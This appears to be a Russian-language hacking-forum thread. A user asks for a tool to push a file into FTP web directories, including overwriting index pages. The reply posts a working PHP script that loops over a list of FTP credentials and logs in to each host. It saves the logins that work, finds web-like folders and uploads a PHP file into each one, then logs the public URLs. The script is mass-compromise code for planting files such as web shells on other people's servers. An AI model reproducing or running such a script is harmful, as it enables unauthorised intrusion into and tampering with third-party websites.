Срочно нужна тулза, для работы с фтп. Не нужно ничего навороченного, грузить файл в веб диру (индекс к примеру, если его просто нет или перезаписывать его) /showthread.php?p=304586 это работает как-то нестабильно, то грузит файл, то отказывается. Посоветуйте, заранее спасибо
вот мой мегапревадный скрипт писан недавно как раз для этих целей, читает список фтп, коннектится, выбирает диры похожие на веб-диры и записывает в каждую из них файл. PHP: <? set_time_limit(0); Error_Reporting(E_ALL & ~E_NOTICE); $all_ftp = file("ftp.txt"); $remotefilename = "sssss.php"; $localfilename = "sssss.php"; function iswebdir($dir){ $strs = array("www", "html", "http", "docs"); foreach ($strs as $ptrn){ if (strstr($dir, $ptrn)) return 1; } return 0; } function writelog($txt){ $flog = fopen("log.txt", "a"); fwrite($flog, $txt."\r\n"); fclose($flog); } for ($i=0; $i<sizeof($all_ftp); $i++){ $ftp = trim($all_ftp[$i]); $fcurr = fopen("current.txt", "w"); fwrite($fcurr, $i."\r\n".$ftp); fclose($fcurr); $login=""; $pass=""; $account=eregi_replace("\n|\r|ftp://","",trim($ftp)); $host=str_replace("/","",substr($account,strrpos($account,"@")+1)); $loginpass=substr($account,0,strrpos($account,"@")); @list($login,$pass)=@explode(":",$loginpass,2); $conn = ftp_connect($host, 21, 10); if (!$conn) { //writelog("Not connect $ftp"); continue; } //else writelog("Connect to $ftp"); $login_result = ftp_login($conn, $login, $pass); if (!$login_result) { //writelog("Wrong login $ftp"); ftp_quit($conn); continue; } //else writelog("Login to $ftp"); $fvalid = fopen("valid.txt", "a"); fwrite($fvalid, $ftp."\r\n"); fclose($fvalid); ftp_pasv($conn, true); $rootdir = ftp_pwd($conn); //writelog("pwd=$rootdir"); $webdirs = array($rootdir); $filelist = ftp_rawlist($conn, $rootdir); foreach ($filelist as $raw){ $filename = trim(substr($raw, strrpos($raw, " "))); $len = strlen($filename); if (substr($filename, $len-1) == "/") $filename = substr($filename, 0, $len - 1); if ($slash = strrpos($filename, "/")) $filename = substr($filename, $slash + 1); if (substr($raw, 0, 1) == "d"){ //directory if (iswebdir($filename)){ //writelog("webdit ".$rootdir."/".$filename); $webdirs[] = $rootdir."/".$filename; } } } foreach ($webdirs as $dir){ $f1 = $dir."/".$remotefilename; $f2 = $localfilename; if (ftp_put($conn, $f1, $f2, FTP_BINARY)) //writelog("uploaded $f2 to $f1"); writelog("http://".$host."/sssss.php"); //else //writelog("cannot upload $f2 to $f1"); } ftp_quit($conn); } ?>